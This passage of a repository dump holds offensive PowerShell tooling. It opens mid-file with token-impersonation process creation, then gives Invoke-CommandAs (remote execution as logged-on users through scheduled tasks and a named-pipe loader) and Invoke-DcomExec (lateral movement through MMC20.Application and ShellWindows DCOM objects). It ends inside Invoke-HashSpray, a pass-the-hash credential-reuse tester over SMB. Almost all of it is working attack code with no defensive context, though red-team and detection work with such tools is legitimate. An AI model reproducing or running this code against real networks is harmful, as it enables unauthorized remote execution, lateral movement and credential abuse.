$memset.Invoke($startupInfoPtr, 0, $startupInfoSize) | Out-Null 351 | [Runtime.InteropServices.Marshal]::WriteInt32($startupInfoPtr, $startupInfoSize) 352 | $processInfoSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $PROCESS_INFORMATION) 353 | [IntPtr] $processInfoPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($processInfoSize) 354 | $processNamePtr = [Runtime.InteropServices.Marshal]::StringToHGlobalUni("$process") 355 | $processArgsPtr = [IntPtr]::Zero 356 | if (-not [String]::IsNullOrEmpty($ProcessArgs)) { 357 | $processArgsPtr = [Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$process`" $processArgs") 358 | } 359 | if (-not $CreateProcessWithTokenW.Invoke($hDulicateToken, 0x0, $processNamePtr, $processArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)) { 360 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 361 | Write-Error $([ComponentModel.Win32Exception] $errorCode) 362 | } 363 | $processInfo = [Runtime.InteropServices.Marshal]::PtrToStructure($processInfoPtr, [Type] $PROCESS_INFORMATION) 364 | $process = [Diagnostics.Process]::GetProcessById($processInfo.dwProcessId) 365 | $process.WaitForExit() 366 | 367 | Write-Verbose "Process ended. Freeing memory..." 368 | # Free the handles returned in the ProcessInfo structure 369 | $CloseHandle.Invoke($processInfo.hProcess) | Out-Null 370 | $CloseHandle.Invoke($processInfo.hThread) | Out-Null 371 | # Free StartupInfo memory and ProcessInfo memory 372 | [Runtime.InteropServices.Marshal]::FreeHGlobal($startupInfoPtr) 373 | [Runtime.InteropServices.Marshal]::FreeHGlobal($processInfoPtr) 374 | [Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($processNamePtr) 375 | # Close handle for the token duplicated 376 | if (-not $CloseHandle.Invoke($hDulicateToken)) { 377 | $errorCode = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 378 | Write-Verbose "Failed to close token handle, this is unexpected. ErrorCode: $errorCode" 379 | } 380 | } 381 | 382 | End {} 383 | } 384 | -------------------------------------------------------------------------------- /Invoke-CommandAs.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-CommandAs { 2 | <# 3 | .SYNOPSIS 4 | Invoke PowerShell script block as an account logged on a remote computer. 5 | 6 | Author: Timothee MENOCHET (@_tmenochet) 7 | 8 | .DESCRIPTION 9 | Invoke-CommandAs runs PowerShell script block on remote computer via scheduled task and retrieves output via a named pipe. 10 | 11 | .PARAMETER ComputerName 12 | Specifies the target host. 13 | 14 | .PARAMETER Credential 15 | Specifies the privileged account to use for remote connection. 16 | 17 | .PARAMETER Authentication 18 | Specifies what authentication method should be used. 19 | 20 | .PARAMETER Protocol 21 | Specifies the protocol to use, defaults to DCOM. 22 | 23 | .PARAMETER Timeout 24 | Specifies the duration to wait for a response from the target host (in seconds), defaults to 3. 25 | 26 | .PARAMETER ScriptBlock 27 | Specifies the PowerShell script block to run. 28 | 29 | .PARAMETER ArgumentList 30 | Specifies the PowerShell script block arguments. 31 | 32 | .PARAMETER Identity 33 | Specifies the accounts to use for remote execution, defaults to all logged on users. 34 | 35 | .EXAMPLE 36 | PS C:\> Invoke-CommandAs -ComputerName SRV.ADATUM.CORP -Credential ADATUM\Administrator -ScriptBlock {whoami} -Identity 'ADATUM\testuser' 37 | #> 38 | 39 | [CmdletBinding()] 40 | Param ( 41 | [ValidateNotNullOrEmpty()] 42 | [String] 43 | $ComputerName = $env:COMPUTERNAME, 44 | 45 | [ValidateNotNullOrEmpty()] 46 | [Management.Automation.PSCredential] 47 | [Management.Automation.Credential()] 48 | $Credential = [Management.Automation.PSCredential]::Empty, 49 | 50 | [ValidateSet('Default', 'Kerberos', 'Negotiate', 'NtlmDomain')] 51 | [String] 52 | $Authentication = 'Default', 53 | 54 | [ValidateSet('Dcom', 'Wsman')] 55 | [String] 56 | $Protocol = 'Dcom', 57 | 58 | [Int] 59 | $Timeout = 3, 60 | 61 | [Parameter(Mandatory = $true)] 62 | [ScriptBlock] 63 | $ScriptBlock, 64 | 65 | [Object[]] 66 | $ArgumentList, 67 | 68 | [String[]] 69 | $Identity = '*' 70 | ) 71 | 72 | Begin { 73 | # Init variables 74 | $cimOption = New-CimSessionOption -Protocol $Protocol 75 | 76 | if ($Credential.UserName) { 77 | $logonToken = Invoke-UserImpersonation -Credential $Credential 78 | } 79 | } 80 | 81 | Process { 82 | # Init remote session 83 | try { 84 | if (-not $PSBoundParameters['ComputerName']) { 85 | $cimSession = New-CimSession -SessionOption $cimOption -ErrorAction Stop -Verbose:$false -OperationTimeoutSec $Timeout 86 | } 87 | elseif ($Credential.Username) { 88 | $cimSession = New-CimSession -ComputerName $ComputerName -Credential $Credential -Authentication $Authentication -SessionOption $cimOption -ErrorAction Stop -Verbose:$false -OperationTimeoutSec $Timeout 89 | } 90 | else { 91 | $cimSession = New-CimSession -ComputerName $ComputerName -Authentication $Authentication -SessionOption $cimOption -ErrorAction Stop -Verbose:$false -OperationTimeoutSec $Timeout 92 | } 93 | } 94 | catch [System.Management.Automation.PSArgumentOutOfRangeException] { 95 | Write-Warning "Alternative authentication method and/or protocol should be used with implicit credentials." 96 | return 97 | } 98 | catch [Microsoft.Management.Infrastructure.CimException] { 99 | if ($Error[0].FullyQualifiedErrorId -eq 'HRESULT 0x8033810c,Microsoft.Management.Infrastructure.CimCmdlets.NewCimSessionCommand') { 100 | Write-Warning "Alternative authentication method and/or protocol should be used with implicit credentials." 101 | return 102 | } 103 | if ($Error[0].FullyQualifiedErrorId -eq 'HRESULT 0x80070005,Microsoft.Management.Infrastructure.CimCmdlets.NewCimSessionCommand') { 104 | Write-Verbose "[$ComputerName] Access denied." 105 | return 106 | } 107 | else { 108 | Write-Verbose "[$ComputerName] Failed to establish CIM session." 109 | return 110 | } 111 | } 112 | 113 | $loggedonUsers = @() 114 | if ($Identity -eq '*') { 115 | Get-CimInstance -ClassName Win32_LogonSession -CimSession $cimSession -Verbose:$false | Where-Object {$_.LogonType -ne 3} | ForEach-Object { 116 | $session = $_ 117 | try { 118 | $loggedonUsers += (Get-CimAssociatedInstance -InputObject $session -Association Win32_LoggedOnUser -CimSession $cimSession -ErrorAction Stop -Verbose:$false).Name 119 | } 120 | catch [Microsoft.Management.Infrastructure.CimException] { 121 | break 122 | } 123 | } 124 | $loggedonUsers = $loggedonUsers | Select -Unique 125 | } 126 | else { 127 | $loggedonUsers += $Identity 128 | } 129 | 130 | foreach ($loggedonUser in $loggedonUsers) { 131 | # Init named pipe client 132 | $pipeTimeout = 10000 # 10s 133 | $pipename = [guid]::NewGuid().Guid 134 | $pipeclient = New-Object IO.Pipes.NamedPipeClientStream($ComputerName, $pipename, [IO.Pipes.PipeDirection]::InOut, [IO.Pipes.PipeOptions]::None, [Security.Principal.TokenImpersonationLevel]::Impersonation) 135 | 136 | # Build loader 137 | $loader = '' 138 | $loader += '$s = New-Object IO.Pipes.NamedPipeServerStream(''' + $pipename + ''', 3); ' 139 | $loader += '$s.WaitForConnection(); ' 140 | $loader += '$r = New-Object IO.StreamReader $s; ' 141 | $loader += '$x = ''''; ' 142 | $loader += 'while (($y=$r.ReadLine()) -ne ''''){$x+=$y+[Environment]::NewLine}; ' 143 | $loader += '$z = [ScriptBlock]::Create($x); ' 144 | $loader += '& $z' 145 | $argument = '-NoP -NonI -W 1 -C "' + $loader + '"' 146 | 147 | # Build payload 148 | $script = '' 149 | $script += '[ScriptBlock]$scriptBlock = {' + $ScriptBlock.Ast.Extent.Text + '}' + [Environment]::NewLine -replace '{{','{' -replace '}}','}' 150 | if ($ArgumentList) { 151 | $args = $ArgumentList -join ',' 152 | $script += '$args = ' + $args + [Environment]::NewLine 153 | } 154 | else { 155 | $script += '$args = $null' + [Environment]::NewLine 156 | } 157 | $script += '$output = [Management.Automation.PSSerializer]::Serialize(((New-Module -ScriptBlock $scriptBlock -ArgumentList $args -ReturnResult) *>&1))' + [Environment]::NewLine 158 | $script += '$encOutput = [char[]]$output' + [Environment]::NewLine 159 | $script += '$writer = [IO.StreamWriter]::new($s)' + [Environment]::NewLine 160 | $script += '$writer.AutoFlush = $true' + [Environment]::NewLine 161 | $script += '$writer.WriteLine($encOutput)' + [Environment]::NewLine 162 | $script += '$writer.Dispose()' + [Environment]::NewLine 163 | $script += '$r.Dispose()' + [Environment]::NewLine 164 | $script += '$s.Dispose()' + [Environment]::NewLine 165 | $script = $script -creplace '(?m)^\s*\r?\n','' 166 | $payload = [char[]] $script 167 | 168 | # Create scheduled task 169 | try { 170 | $taskParameters = @{ 171 | TaskName = [guid]::NewGuid().Guid 172 | Action = New-ScheduledTaskAction -WorkingDirectory "%windir%\System32\WindowsPowerShell\v1.0\" -Execute "powershell" -Argument $argument 173 | Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries 174 | Principal = New-ScheduledTaskPrincipal -UserID $loggedonUser -LogonType Interactive -RunLevel Highest -CimSession $cimSession 175 | } 176 | Write-Verbose "Registering scheduled task $($taskParameters.TaskName)" 177 | $scheduledTask = Register-ScheduledTask @taskParameters -CimSession $cimSession -ErrorAction Stop 178 | Write-Verbose "Running scheduled task as $loggedonUser" 179 | $cimJob = $scheduledTask | Start-ScheduledTask -AsJob -ErrorAction Stop 180 | 181 | Write-Verbose "Connecting to named pipe server \\$ComputerName\pipe\$pipename" 182 | $pipeclient.Connect($pipeTimeout) 183 | $writer = New-Object IO.StreamWriter($pipeclient) 184 | $writer.AutoFlush = $true 185 | $writer.WriteLine($payload) 186 | $reader = New-Object IO.StreamReader($pipeclient) 187 | $output = '' 188 | while (($data = $reader.ReadLine()) -ne $null) { 189 | $output += $data + [Environment]::NewLine 190 | } 191 | Write-Output ([Management.Automation.PSSerializer]::Deserialize($output)) 192 | 193 | $scheduledTaskInfo = $scheduledTask | Get-ScheduledTaskInfo 194 | if ($scheduledTaskInfo.LastRunTime.Year -ne (Get-Date).Year) { 195 | Write-Warning "Failed to execute scheduled task." 196 | } 197 | } 198 | catch { 199 | Write-Error "Task execution failed. $_" 200 | } 201 | finally { 202 | if ($reader) { 203 | $reader.Dispose() 204 | } 205 | $pipeclient.Dispose() 206 | 207 | Write-Verbose "Unregistering scheduled task $($taskParameters.TaskName)" 208 | if ($Protocol -eq 'Wsman') { 209 | $scheduledTask | Get-ScheduledTask -ErrorAction SilentlyContinue | Unregister-ScheduledTask -Confirm:$False | Out-Null 210 | } 211 | else { 212 | $scheduledTask | Get-ScheduledTask -ErrorAction SilentlyContinue | Unregister-ScheduledTask | Out-Null 213 | } 214 | } 215 | } 216 | } 217 | 218 | End { 219 | # End remote session 220 | if ($cimSession) { 221 | Remove-CimSession -CimSession $cimSession 222 | } 223 | 224 | if ($logonToken) { 225 | Invoke-RevertToSelf -TokenHandle $logonToken 226 | } 227 | } 228 | } 229 | 230 | Function Local:Get-DelegateType { 231 | Param ( 232 | [Type[]] 233 | $Parameters = (New-Object Type[](0)), 234 | 235 | [Type] 236 | $ReturnType = [Void] 237 | ) 238 | $domain = [AppDomain]::CurrentDomain 239 | $dynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate') 240 | $assemblyBuilder = $domain.DefineDynamicAssembly($dynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 241 | $moduleBuilder = $assemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 242 | $typeBuilder = $moduleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [MulticastDelegate]) 243 | $constructorBuilder = $typeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [Reflection.CallingConventions]::Standard, $Parameters) 244 | $constructorBuilder.SetImplementationFlags('Runtime, Managed') 245 | $methodBuilder = $typeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 246 | $methodBuilder.SetImplementationFlags('Runtime, Managed') 247 | Write-Output $typeBuilder.CreateType() 248 | } 249 | 250 | Function Local:Get-ProcAddress { 251 | Param ( 252 | [Parameter(Mandatory = $True)] 253 | [String] 254 | $Module, 255 | 256 | [Parameter(Mandatory = $True)] 257 | [String] 258 | $Procedure 259 | ) 260 | $systemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 261 | $unsafeNativeMethods = $systemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 262 | $getModuleHandle = $unsafeNativeMethods.GetMethod('GetModuleHandle') 263 | $getProcAddress = $unsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([Runtime.InteropServices.HandleRef], [String])) 264 | $kern32Handle = $getModuleHandle.Invoke($null, @($Module)) 265 | $tmpPtr = New-Object IntPtr 266 | $handleRef = New-Object Runtime.InteropServices.HandleRef($tmpPtr, $kern32Handle) 267 | Write-Output $getProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$handleRef, $Procedure)) 268 | } 269 | 270 | Function Local:Invoke-UserImpersonation { 271 | Param( 272 | [Parameter(Mandatory = $True)] 273 | [Management.Automation.PSCredential] 274 | [Management.Automation.CredentialAttribute()] 275 | $Credential 276 | ) 277 | 278 | $logonUserAddr = Get-ProcAddress Advapi32.dll LogonUserA 279 | $logonUserDelegate = Get-DelegateType @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) 280 | $logonUser = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($logonUserAddr, $logonUserDelegate) 281 | 282 | $impersonateLoggedOnUserAddr = Get-ProcAddress Advapi32.dll ImpersonateLoggedOnUser 283 | $impersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 284 | $impersonateLoggedOnUser = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($impersonateLoggedOnUserAddr, $impersonateLoggedOnUserDelegate) 285 | 286 | $logonTokenHandle = [IntPtr]::Zero 287 | $networkCredential = $Credential.GetNetworkCredential() 288 | $userDomain = $networkCredential.Domain 289 | $userName = $networkCredential.UserName 290 | 291 | if (-not $logonUser.Invoke($userName, $userDomain, $networkCredential.Password, 9, 3, [ref]$logonTokenHandle)) { 292 | $lastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 293 | throw "[UserImpersonation] LogonUser error: $(([ComponentModel.Win32Exception] $lastError).Message)" 294 | } 295 | 296 | if (-not $impersonateLoggedOnUser.Invoke($logonTokenHandle)) { 297 | throw "[UserImpersonation] ImpersonateLoggedOnUser error: $(([ComponentModel.Win32Exception] $lastError).Message)" 298 | } 299 | Write-Output $logonTokenHandle 300 | } 301 | 302 | Function Local:Invoke-RevertToSelf { 303 | [CmdletBinding()] 304 | Param( 305 | [ValidateNotNull()] 306 | [IntPtr] 307 | $TokenHandle 308 | ) 309 | 310 | $closeHandleAddr = Get-ProcAddress Kernel32.dll CloseHandle 311 | $closeHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 312 | $closeHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($closeHandleAddr, $closeHandleDelegate) 313 | 314 | $revertToSelfAddr = Get-ProcAddress Advapi32.dll RevertToSelf 315 | $revertToSelfDelegate = Get-DelegateType @() ([Bool]) 316 | $revertToSelf = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($revertToSelfAddr, $revertToSelfDelegate) 317 | 318 | if ($PSBoundParameters['TokenHandle']) { 319 | $closeHandle.Invoke($TokenHandle) | Out-Null 320 | } 321 | if (-not $revertToSelf.Invoke()) { 322 | $lastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() 323 | throw "[RevertToSelf] Error: $(([ComponentModel.Win32Exception] $lastError).Message)" 324 | } 325 | } 326 | -------------------------------------------------------------------------------- /Invoke-DcomExec.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DcomExec { 2 | <# 3 | .SYNOPSIS 4 | Invoke PowerShell commands on a remote computer via DCOM. 5 | 6 | Author: Timothee MENOCHET (@_tmenochet) 7 | 8 | .DESCRIPTION 9 | Invoke-DcomExec runs PowerShell script block on remote computers through various DCOM methods and retrieves output via a named pipe. 10 | 11 | .PARAMETER ScriptBlock 12 | Specifies the PowerShell script block to run. 13 | 14 | .PARAMETER ComputerName 15 | Specifies the target host. 16 | 17 | .PARAMETER Method 18 | Specifies the execution method to use, defaults to MMC20.Application. 19 | 20 | .EXAMPLE 21 | PS C:\> Invoke-DcomExec -ComputerName SRV.ADATUM.CORP -ScriptBlock {Write-Output "$Env:COMPUTERNAME ($Env:USERDOMAIN\$Env:USERNAME)"} -Method ShellWindows 22 | #> 23 | [CmdletBinding()] 24 | Param ( 25 | [ValidateNotNullOrEmpty()] 26 | [ScriptBlock] 27 | $ScriptBlock, 28 | 29 | [ValidateNotNullOrEmpty()] 30 | [String] 31 | $ComputerName = $env:COMPUTERNAME, 32 | 33 | [ValidateSet("MMC20.Application", "ShellWindows", "ShellBrowserWindow")] 34 | [String] 35 | $Method = "MMC20.Application" 36 | ) 37 | 38 | Begin { 39 | switch ($Method) { 40 | 'MMC20.Application' { 41 | $clsid = '49B2791A-B1AE-4C90-9B8E-E860BA07F889' 42 | } 43 | 'ShellWindows' { 44 | $clsid = '9BA05972-F6A8-11CF-A442-00A0C90A8F39' 45 | } 46 | 'ShellBrowserWindow' { 47 | $clsid = 'C08AFD90-F2A1-11D1-8455-00A0C91F3880' 48 | } 49 | } 50 | 51 | # Init named pipe client 52 | $pipeTimeout = 10000 # 10s 53 | $pipeName = [guid]::NewGuid().Guid 54 | $pipeClient = New-Object IO.Pipes.NamedPipeClientStream($ComputerName, $pipeName, [IO.Pipes.PipeDirection]::InOut, [IO.Pipes.PipeOptions]::None, [Security.Principal.TokenImpersonationLevel]::Impersonation) 55 | 56 | # Build loader 57 | $loader = '' 58 | $loader += '$s = new-object IO.Pipes.NamedPipeServerStream(''' + $pipeName + ''', 3); ' 59 | $loader += '$s.WaitForConnection(); ' 60 | $loader += '$r = new-object IO.StreamReader $s; ' 61 | $loader += '$x = ''''; ' 62 | $loader += 'while (($y=$r.ReadLine()) -ne ''''){$x+=$y+[Environment]::NewLine}; ' 63 | $loader += '$z = [ScriptBlock]::Create($x); ' 64 | $loader += '& $z' 65 | $arguments = '/c powershell -NoP -NonI -C "' + $loader + '"' 66 | 67 | # Build payload 68 | $script = '' 69 | $script += '[ScriptBlock]$scriptBlock = {' + $ScriptBlock.Ast.Extent.Text + '}' + [Environment]::NewLine -replace '{{','{' -replace '}}','}' 70 | $script += '$output = [Management.Automation.PSSerializer]::Serialize((& $scriptBlock *>&1))' + [Environment]::NewLine 71 | $script += '$encOutput = [char[]]$output' + [Environment]::NewLine 72 | $script += '$writer = [IO.StreamWriter]::new($s)' + [Environment]::NewLine 73 | $script += '$writer.AutoFlush = $true' + [Environment]::NewLine 74 | $script += '$writer.WriteLine($encOutput)' + [Environment]::NewLine 75 | $script += '$writer.Dispose()' + [Environment]::NewLine 76 | $script += '$r.Dispose()' + [Environment]::NewLine 77 | $script += '$s.Dispose()' + [Environment]::NewLine 78 | $script = $script -creplace '(?m)^\s*\r?\n','' 79 | $payload = [char[]] $script 80 | } 81 | 82 | Process { 83 | Write-Verbose "Creating COM instance of $Method ($clsid)..." 84 | try { 85 | $com = [Type]::GetTypeFromCLSID($clsid, $ComputerName) 86 | $obj = [Activator]::CreateInstance($com) 87 | } 88 | catch { 89 | Write-Error "Failed to create COM instance." 90 | break 91 | } 92 | 93 | Write-Verbose "Running command remotely..." 94 | Write-Debug "cmd.exe $arguments" 95 | switch ($Method) { 96 | 'MMC20.Application' { 97 | $obj.Document.ActiveView.ExecuteShellCommand('%COMSPEC%', $null, $arguments, '7') 98 | } 99 | 'ShellWindows' { 100 | $item = $obj.Item() 101 | $item.Document.Application.ShellExecute('cmd.exe', $arguments, "C:\Windows\System32", $null, 0) 102 | } 103 | 'ShellBrowserWindow' { 104 | $obj.Document.Application.ShellExecute('cmd.exe', $arguments, "C:\Windows\System32", $null, 0) 105 | } 106 | } 107 | 108 | Write-Verbose "Connecting to named pipe server \\$ComputerName\pipe\$pipeName..." 109 | $pipeClient.Connect($pipeTimeout) 110 | Write-Verbose "Delivering payload..." 111 | $writer = New-Object IO.StreamWriter($pipeClient) 112 | $writer.AutoFlush = $true 113 | $writer.WriteLine($payload) 114 | Write-Verbose "Getting execution output..." 115 | $reader = New-Object IO.StreamReader($pipeClient) 116 | $output = '' 117 | while (($data = $reader.ReadLine()) -ne $null) { 118 | $output += $data + [Environment]::NewLine 119 | } 120 | Write-Output ([Management.Automation.PSSerializer]::Deserialize($output)) 121 | } 122 | 123 | End { 124 | $reader.Dispose() 125 | $pipeClient.Dispose() 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /Invoke-HashSpray.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-HashSpray { 2 | <# 3 | .SYNOPSIS 4 | Try to authenticate with accounts' password hashes. 5 | 6 | Author: Timothee MENOCHET (@TiM0) 7 | 8 | .DESCRIPTION 9 | Invoke-HashSpray check accounts' NTLM hashes against a target system over SMB. 10 | This function can be used to identify credential reuse between a previously compromised domain and a target domain. 11 | It is mostely stolen from Invoke-TheHash written by @kevin_robertson. 12 | 13 | .PARAMETER Server 14 | Specifies the target server (e.g a domain controller). 15 | 16 | .PARAMETER Domain 17 | Specifies the domain to use for authentication. This parameter is not needed with local accounts or when using a UserPrincipalName as username. 18 | 19 | .PARAMETER Username 20 | Specifies the identifier of an account to use for authentication. 21 | 22 | .PARAMETER Hash 23 | Specifies the NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. 24 | 25 | .PARAMETER DumpFile 26 | Specifies a dump file containing NTLM password hashes in the format \:::::: (e.g secretsdump's output). 27 | 28 | .EXAMPLE 29 | PS C:\> Invoke-HashSpray -Server DC.ADATUM.CORP -Username testuser@adatum.corp -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 30 | 31 | .EXAMPLE 32 | PS C:\> Invoke-HashSpray -Server DC.ADATUM.CORP -Domain ADATUM -DumpFile contoso.ntds 33 | #> 34 | 35 | [CmdletBinding(DefaultParametersetName='Default')] 36 | param ( 37 | [parameter(Mandatory=$true)] 38 | [String] 39 | $Server, 40 | 41 | [parameter(Mandatory=$false)] 42 | [String] 43 | $Domain, 44 | 45 | [parameter(ParameterSetName='Auth', Mandatory=$false)] 46 | [String] 47 | $Username, 48 | 49 | [parameter(ParameterSetName='Auth', Mandatory=$false)] 50 | [ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})] 51 | [String] 52 | $Hash, 53 | 54 | [parameter(ParameterSetName='DumpFile', Mandatory=$false)] 55 | [String] 56 | $DumpFile, 57 | 58 | [parameter(Mandatory=$false)] 59 | [ValidateSet("Auto","1","2.1")] 60 | [String] 61 | $Version="Auto" 62 | ) 63 | 64 | If($Version -eq '1') { 65 | $SMB_version = 'SMB1' 66 | } 67 | ElseIf($Version -eq '2.1') { 68 | $SMB_version = 'SMB2.1' 69 | } 70 | 71 | If($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'DumpFile') { 72 | Write-Error 'No password hash provided.' 73 | } 74 | 75 | function ConvertFrom-PacketOrderedDictionary { 76 | param($OrderedDictionary) 77 | 78 | ForEach($field in $OrderedDictionary.Values) { 79 | $byte_array += $field 80 | } 81 | 82 | return $byte_array 83 | } 84 | 85 | # NetBIOS 86 | 87 | function New-PacketNetBIOSSessionService { 88 | param([Int]$HeaderLength,[Int]$DataLength) 89 | 90 | [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] 91 | 92 | $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary 93 | $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) 94 | $NetBIOSSessionService.Add("Length",$length) 95 | 96 | return $NetBIOSSessionService 97 | } 98 | 99 | # SMB1 100 | 101 | function New-PacketSMBHeader { 102 | param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) 103 | 104 | $ProcessID = $ProcessID[0,1] 105 | 106 | $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary 107 | $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) 108 | $SMBHeader.Add("Command",$Command) 109 | $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) 110 | $SMBHeader.Add("Reserved",[Byte[]](0x00)) 111 | $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) 112 | $SMBHeader.Add("Flags",$Flags) 113 | $SMBHeader.Add("Flags2",$Flags2) 114 | $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) 115 | $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) 116 | $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) 117 | $SMBHeader.Add("TreeID",$TreeID) 118 | $SMBHeader.Add("ProcessID",$ProcessID) 119 | $SMBHeader.Add("UserID",$UserID) 120 | $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) 121 | 122 | return $SMBHeader 123 | } 124 | 125 | function New-PacketSMBNegotiateProtocolRequest { 126 | param([String]$Version) 127 | 128 | if($Version -eq 'SMB1') { 129 | [Byte[]]$byte_count = 0x0c,0x00 130 | } 131 | else { 132 | [Byte[]]$byte_count = 0x22,0x00 133 | } 134 | 135 | $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary 136 | $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) 137 | $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) 138 | $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) 139 | $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) 140 | 141 | if($version -ne 'SMB1') { 142 | $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) 143 | $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) 144 | $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) 145 | $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) 146 | } 147 | 148 | return $SMBNegotiateProtocolRequest 149 | } 150 | 151 | function New-PacketSMBSessionSetupAndXRequest { 152 | param([Byte[]]$SecurityBlob) 153 | 154 | [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1] 155 | [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1] 156 | 157 | $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary 158 | $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) 159 | $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) 160 | $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) 161 | $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) 162 | $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) 163 | $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) 164 | $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) 165 | $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) 166 | $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count) 167 | $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) 168 | $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) 169 | $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length) 170 | $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob) 171 | $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) 172 | $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) 173 | 174 | return $SMBSessionSetupAndXRequest 175 | } 176 | 177 | # SMB2 178 | 179 | function New-PacketSMB2Header { 180 | param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) 181 | 182 | if($Signing) { 183 | $flags = 0x08,0x00,0x00,0x00 184 | } 185 | else { 186 | $flags = 0x00,0x00,0x00,0x00 187 | } 188 | 189 | [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) 190 | 191 | if($message_ID.Length -eq 4) { 192 | $message_ID += 0x00,0x00,0x00,0x00 193 | } 194 | 195 | $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary 196 | $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) 197 | $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) 198 | $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) 199 | $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) 200 | $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) 201 | 